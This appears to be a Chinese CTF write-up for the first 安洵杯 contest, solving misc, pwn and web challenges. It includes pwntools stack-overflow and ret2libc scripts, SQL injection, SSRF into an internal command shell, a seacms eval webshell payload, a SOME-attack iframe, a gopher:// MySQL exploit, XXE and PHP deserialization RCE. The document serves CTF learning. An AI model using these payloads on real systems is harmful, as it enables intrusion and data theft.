第一届安洵杯writeup

线上赛混个第三名,跟着大佬们,躺进下线赛了。

MISC

这里是签到题

应高数高分大佬要求,签到题为下图:
https://i.loli.net/2018/11/23/5bf7fef997715.jpg
md5小写
例子:D0g3{21232f297a57a5a743894a0e4a801fc3}
格式
D0g3{md5(幺元)}
https://zhidao.baidu.com/question/1114204049719347299.html

从最右边一列找一个元素,它所在行与表头的首行完全一致,即为左幺元,图中是c。
从最上边一行找一个元素,它所在列与表头的首列完全一致,即为右幺元,图中是c。
所以c是幺元。
Md5©= 4a8a08f09d37b73795649038408b5f33
D0g3{4a8a08f09d37b73795649038408b5f33}

boooooom

第一个压缩包,提示CRC爆破结果是纯数字,直接爆破
里面三个文件,看了一下大概是要先解压password然后运行.py计算flag.zip的解压密码。
然后crc32碰撞,直接爆破password.txt的内容

for i in xrange(0,100000000):buf = str(i).rjust(8,'0')#print bufif zlib.crc32(buf) & 0xffffffff == 0x0cd95dac:print '',buf


然后再用.py跑

import hashlib
#f = open("password.txt",'r')
#password = f.readline()
password='08646247'
b64_str = base64.b64encode(password.encode('utf-8'))
hash = hashlib.md5()
hash.update(b64_str)
zip_passowrd = hash.hexdigest()
print(zip_passowrd)


再去解压flag.zip,解压出来一张图片
改高度,先直接winhex改了过后图片直接崩了,然后绕了一会,结果就是该高度,winhex不对应该是crc的原因。用tweakPNG改

修改高度为500

可以看到flag了导出图片 提取文字完事。

D0g3{a184929e2c170e2b7dc12eb3106f0a16}

pwn

Hiahiahia

入门pwn,栈溢出到arg[0]
check一下,有NX和canary

Gdb调试下


找到flag和arg[0]的地址算一下偏移

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
old_flag_addr = 0x4007a8
new_flag_addr = 0x6007a8
p = remote('149.248.7.48', 8888)
p.recvuntil("Please find the flag!")
#gdb.attach(p)
#payload = "a"*0x218 + p64(new_flag_addr)
payload = 'a'* 360 + p64(old_flag_addr)
p.sendline(payload)
flag = p.recv()
print flag

flag:D0g3{ccc_y0u_again_hiahiahia_}

neko

栈溢出,有system地址,leak libc。。。。
去libcdb查版本 然后基本操作栈溢出

#!/usr/bin/python
from pwn import *
EXE = "./neko"
e = ELF(EXE)
libc = e.libc
io = remote('149.248.7.48',9999)
system = e.plt["system"]
puts = e.plt["puts"]
puts_got = e.got["puts"]
io.sendlineafter("cats?\n",'y')
payload = "a" * 0xd4
payload += p32(puts)
payload += p32(0x080486E7)
payload += p32(puts_got)
io.sendafter("anchovies:\n",payload)
io.recvline()
base = u32(io.recv(4)) - 0x05f140
binsh = base + 0x15902b
payload = "a" * 0xd4
payload += p32(system)
payload += p32(binsh) * 2
io.sendafter("anchovies:\n",payload)
io.interactive()

flag: D0g3{Wh0_Doe5n’t_1ik3_k1tt3ns??}

web

web1-无限手套

提示输入NOHO
测出来要求在7399999999到7400000000
http://222.18.158.227:10580/?NOHO[]=d 数组绕过

输密码

发现是MD5加密后16进制转字符
md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3

想到了md5加密后再16进制转字符串后有单引号引起sql注入。以前做过md5 sql注入。
http://222.18.158.227:10580/?NOHO[]=123
POST:password=ffifdyop
ffifdyop md5()加密-》276f722736c95d99e921722cf9ed621c -》再16进制转字符串为’or’6?]??!r,??b

得到flag:
e5e8b79aeb213ad6e0e4664e78aff61b
D0g3{e5e8b79aeb213ad6e0e4664e78aff61b}

web2

Find The d0g3.php In Intranets
http://222.18.158.227:10180/
点了几个图后输入name提交后为
http://222.18.158.227:10180/?url=111
有url,提示

The Intranets are in range 10.10.1.0/16
那么d0g3.php就应该在内网
那就从10.10.1.1开始找
http://222.18.158.227:10180/?url=http://10.10.1.1/d0g3.php
http://222.18.158.227:10180/?url=http://10.10.1.3/d0g3.php 返回404
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php
找到了,在http://10.10.1.6/d0g3.php有200回显了

提示GET d0g3参数。
尝试了http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo();
发现是个官方shell
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `ls`;
打印当前目录,发现flag.txt
直接读
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`;
D0g3{SSRF_Is_So_Easy}

only d0g3er can see flag

http://138.68.2.14/seacms/
查找poc getshell
https://www.freebuf.com/vuls/150042.html
http://138.68.2.14/seacms/search.php
post:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&&9[]=phpinfo();

那就写shell吧

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('a.php','<?php%20@eval($_POST[c])?>');

提示.git泄露,用工具读出源码吧
\data\ common.inc.php有配置信息

菜刀直接连接数据库读取flag


RDBnM3tUaGlzX2lzX3JlYWxfZmxhZ30=
Base64解码:D0g3{This_is_real_flag}
我要吐槽一下,出题人是想考什么?改了两次题。
第一次题目的时候还有360防护…要我绕360吗?
昨天晚上还是138.68.2.14/。上传shell后,数据库中没有flag数据库,D0g3数据库中也没有flag信息。/www/wwwroot/的shell目录中有.user.ini文件限制,我在绕open_basedir。但是也只能用glob伪协议读目录。但是flag数据库目录在/www/server/data/flag还有在 /www/backup/database/下有备份文件flag。也没研究过怎么在没有系统命令下还要绕open_basedir读文件。

BOOM

御剑扫目录
后台登录地址:http://222.18.158.227:10080/admin/login.html
题目是boom就直接爆破吧,看题目描述应该是绕过这个验证码,刷新数字变大,估计是时间戳生成。

但是测了一下可以直接空等于空绕过,然后直接intruder爆破
爆了很久的弱口令 结果是纯数字 很坑。

登录拿flag

D0g3{70e052657cb40cf142883abaff266fee}

webN

首页一个SRC界面,没什么用

点礼品中心http://222.18.158.245:6080/reward.php点击购买

发现用户可控jsonp

看提示some攻击,翻文章
https://paper.tuisec.win/detail/05c9c8b3e28bd2b
https://www.freebuf.com/articles/web/169873.html
点礼品中心http://222.18.158.245:6080/reward.php点击购买
然后还提示联系客服,思路大概就是构造exp放vps上,发客服让机器人访问,子页面通过可控jsonp对父页面操作

<iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe><iframe name=a></iframe><script>window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');setTimeout(function(){window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';},1000);
</script>

查日志发现flag

D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}

Diglett

http://54.200.169.99:7001
查看源码:提示 index.php?hu3debug=1
http://54.200.169.99:7001/index.php?hu3debug=1
得到php源码

<?phpinclude_once "config.php";if (isset($_POST['url'])&&!empty($_POST['url'])){$url = $_POST['url'];if(preg_match('/file/',$url)){echo "No hacker!";echo "</br>";}$url2 = preg_replace('/file/','',$url);$content_url = getUrlContent($url2);}else{$content_url = "";}if(isset($_GET['hu3debug'])){show_source(__FILE__);}
?>

利用curl读取文件。尝试url传入:file:///127.0.0.1/etc/passwd
if(preg_match(’/file/’,$url)){echo “No hacker!”;echo “”;}
虽然比较url是否有file关键字,但只是输出信息,没有结束。
url2=pregreplace(′/file/′,′′,url2 = preg_replace(&#x27;/file/&#x27;,&#x27;&#x27;,url2=pregreplace(/file/,,url);
preg_replace只是过滤一次file关键字,可双写绕过fifilele,得到file
传入POST:url=fifilele://127.0.0.1/etc/passwd
读config文件:url=fifilele://localhost/var/www/config.php

<?php
$hosts = "localhost";
$dbusername = "test_user";
$dbpasswd = "";
$dbname = "test";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{$dbinit = "create table if not exists flag(secret varchar(100));";if(mysqli_query($conn,$dbinit)) return 1;else return 0;
}
function safe($url)
{$tmpurl = parse_url($url, PHP_URL_HOST);if($tmpurl != "localhost" and $tmpurl != "127.0.0.1"){var_dump($tmpurl);die("<h1><p id='test1'>You are not the local!</p></h1>");}return $url;
}
function getUrlContent($url){$url = safe($url);$url = escapeshellarg($url);$pl = "curl ".$url;echo $pl;$content = shell_exec($pl);return $content;
}
initdb($conn);
?>

知道了mysql的配置内容 gopher一波
利用Gopherus工具生成exploit
https://github.com/tarunkant/Gopherus

gopher://127.0.0.1:3306/_%a8%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}

Magic Mirror

不要被表象欺骗,钥匙就藏在数据包中
http://222.18.158.227:10280/
关键点在host Host Header欺骗
点忘记密码,burp抓包,把host改为自己的vps,然后看日志

会发重置密码的token,有效时间有点短,所以迅速复制进去改密码,然后登admin
登录后有个输入框
随便提交抓包

<information><username>test</username></information>

Xml格式 应该就xxe了
Payload

会发重置密码的token,有效时间有点短,所以迅速复制进去改密码,然后登admin
登录后有个输入框
随便提交抓包

<information><username>test</username></information>

Xml格式 应该就xxe了
Payload

外部实体注入 Filter协议读文件 记得base64读
拿到flag.php
PD9waHAKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CmVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0nNScgY29sb3I9J3JlZCc+IjsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiT2ggeWVzLCBoZXJlISI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvICJHZXQgb3V0ISI7CmVjaG8gIjwvZm9udD48L2NlbnRlcj4iOwovL2ZsYWc6IEQwZzN7SGlfRDBnM19SZXMzdF80bmRfeFhlfQoKCj8+Cg==
解码

<?php
header("Content-Type: text/html;charset=utf-8");
echo "<center><font size='5' color='red'>";
echo "You wanna capture this flag?";
echo "<br><br>";
echo "Oh yes, here!";
echo "<br><br>";
echo "But now, ";
echo "<br><br>";
echo "Get out!";
echo "</font></center>";
//flag: D0g3{Hi_D0g3_Res3t_4nd_xXe}

方舟计划

http://222.18.158.227:10380/index.php
又是买彩票。和之前的qctf一样。也是php弱类型的锅。
POST传入{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}
每次都能中$5000000,多买几次就能买flag了。
Here is your flag: 想上飞船不仅仅是有钱就够了,你还得有智慧,解出这道题,你就可以获救了:一次RSA密钥对生成中,假设p=473398606,q=451141,e=17 求解出d

python 已知p,q,e求rsa的d
https://blog.csdn.net/zyxyzz/article/details/78205321

# coding = utf-8
def computeD(fn, e):(x, y, r) = extendedGCD(fn, e)#y maybe < 0, so convert itif y < 0:return fn + yreturn y
def extendedGCD(a, b):#a*xi + b*yi = riif b == 0:return (1, 0, a)#a*x1 + b*y1 = ax1 = 1y1 = 0#a*x2 + b*y2 = bx2 = 0y2 = 1while b != 0:q = a / b#ri = r(i-2) % r(i-1)r = a % ba = bb = r#xi = x(i-2) - q*x(i-1)x = x1 - q*x2x1 = x2x2 = x#yi = y(i-2) - q*y(i-1)y = y1 - q*y2y1 = y2y2 = yreturn(x1, y1, a)
p = 473398606
q = 451141
e = 17
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
print d

求得150754621171553
D0g3{150754621171553}

Double-S

签道题
http://54.200.169.99:7000/
源码泄露http://54.200.169.99:7000/www.zip代码审计

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{public $info;function __construct(){$this->info = 'phpinfo();';}function __destruct(){eval($this->info);}
}
if(isset($_GET['aa']))
{if(unserialize($_GET['aa'])=='phpinfo'){$m = new Anti();}
}
else
{header("location:index.html");
}
?>
http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}

通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

由phpinfo()页面继续可知,session.upload_progress.enabled为On。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在SESSION中添加一组数据。所以可以通过SessionUploadProgress来设置session。传入_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。 传入SESSIONSessionUploadProgresssession_SESSION数据的,这里就利用到了反序列化问题。
考虑序列化

<?php
class Anti
{public $info='print_r(scandir(dirname(__FILE__)));';
}
$obj = new Anti();
$a = serialize($obj);
var_dump($a);
?>
//O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}

http://54.200.169.99:7000/session.php?aa=O:4:“Anti”:1:{s:4:“info”;s:36:“print_r(scandir(dirname(FILE)));”;}
发现flag文件http://54.200.169.99:7000/f1ag_i3_h3re
D0g3{Sim_Pl3_S3sSi0n}

Hash!!!

修改响应头
Source改为1拿到源码

要么cbc要么hash扩展 用hashpump

Input Signature: c3ef608fdc59d9143c39664ade7556d5
Input Data: D0g3
Input Key Length: 20
Input Data to Add: test
5e38fe415ce2786f4ae79776038f53ee
D0g3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00test

将\x改为%,将POST的username改为D0g3,password改为

D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00test

cookie加入getflag: 5e38fe415ce2786f4ae79776038f53ee
拿到flag:D0g3{h4sh_1s_s0_diffic1ut_t0_me}

第一届安洵杯writeup相关推荐

  1. 第二届安洵杯2019部分writeup

    Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...

  2. 安洵杯 --writeup

    web: only d0g3er can see flag 这个打开一个是一个海洋cms,通过百度,在search.php有一个代码执行漏洞 直接构造payload: http://138.68.2. ...

  3. 2020安洵杯——EasyCM WriteUP

    文章目录 概述 详细 反调 花指令 SMC 写脚本解密 最近犯懒,没看新题,想起来之前安洵杯做过一道 SMC + 反调试的题,当时是动调 + 瞎蒙做出来的,今天来整理一下里面的知识点 题目链接:htt ...

  4. BUUCTF [安洵杯 2019]easy_serialize_php

    考点: 变量覆盖.反序列化中的对象逃逸 题目地址:BUUCTF在线评测 源码如下: <?php$function = @$_GET['f'];function filter($img){$fil ...

  5. BUUCTF:[安洵杯 2019]不是文件上传

    这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...

  6. 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码

    题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...

  7. [安洵杯 2019]吹着贝斯扫二维码

    [安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...

  8. 2021第一届网刃杯网络安全大赛-老练的黑客

    2021第一届网刃杯网络安全大赛-老练的黑客 难度系数:4.0 题目描述:一黑客成功入侵某核电站且获得了操作员站控制权,该操作员站可控制离心机的转速,当离心机的转速持续高于5000时将导致设备损坏,为 ...

  9. 安洵杯-crackme-wp

    crackme 这是安洵杯2019的逆向题 链接:https://pan.baidu.com/s/16fb_-L-dE5knUPzkSFU5rQ 提取码:z405 文章目录 crackme 逆向分析 ...

  10. 安洵杯-game-wp

    game 安洵杯2019逆向 链接:https://pan.baidu.com/s/1vICnEqYfSezXUiTJU6C9TA 提取码:d9m7 题目的文件和idb分析文件和写出的python文件 ...

最新文章

  1. vs2003不能正常调试或运行!
  2. JavaWeb:用JDBC操作数据库
  3. XCTF WEB webshell
  4. 打开程序时固定位置_FANUC机器人:参考位置功能介绍与设定方法
  5. leetcode584. 寻找用户推荐人(SQL)
  6. linux认令牌操作错误,验证令牌操作错误
  7. Spark源码走读10——Spark On Yarn
  8. python刷题_小李飞刀:用python刷题ing....
  9. oracle 查看锁表情况及数据库连接情况
  10. 多租户数据中心采用SDN的优势和挑战
  11. 开发悬赏平台APP心得
  12. Ubuntu设置静态IP地址的几种方法
  13. 曙光服务器如何重新设置u盘启动_u盘装曙光服务器 曙光服务器进bios设置u盘启动...
  14. Coreldraw绘画看了这个才算是真正明白了什么叫绘图
  15. 嵌入式硬件(四)常用模拟集成电路
  16. 5G NRRC Inactive state是什么状态?
  17. BMP文件二进制格式详解
  18. 第十三次 作业 事务管理
  19. 渗透信息收集 子域名查询
  20. 【UCOSIII】UCOSIII基础知识和STM32F103的移植

热门文章

  1. Python中使用snip问题
  2. 制作 macOS High Sierra 正式版 USB 启动盘的方法 (亲测可用)
  3. 页面交换文件pagefile.sys-虚拟内存页面文件
  4. 【bzoj4972】小Q的方格纸 前缀和
  5. 什么是模拟信号?数字信号?区别是什么?它们又是如何完成转换的?
  6. 块引用—Markdown极简入门教程(6)
  7. python的pth打开方式_python .pth 文件 和 site 模块
  8. Taylor Swift - Enchanted_20131123141153-pdf
  9. BeyondCompare的三种破解方法
  10. android id设备认证失败,教大家Apple ID验证失败发生未知错误的解决方法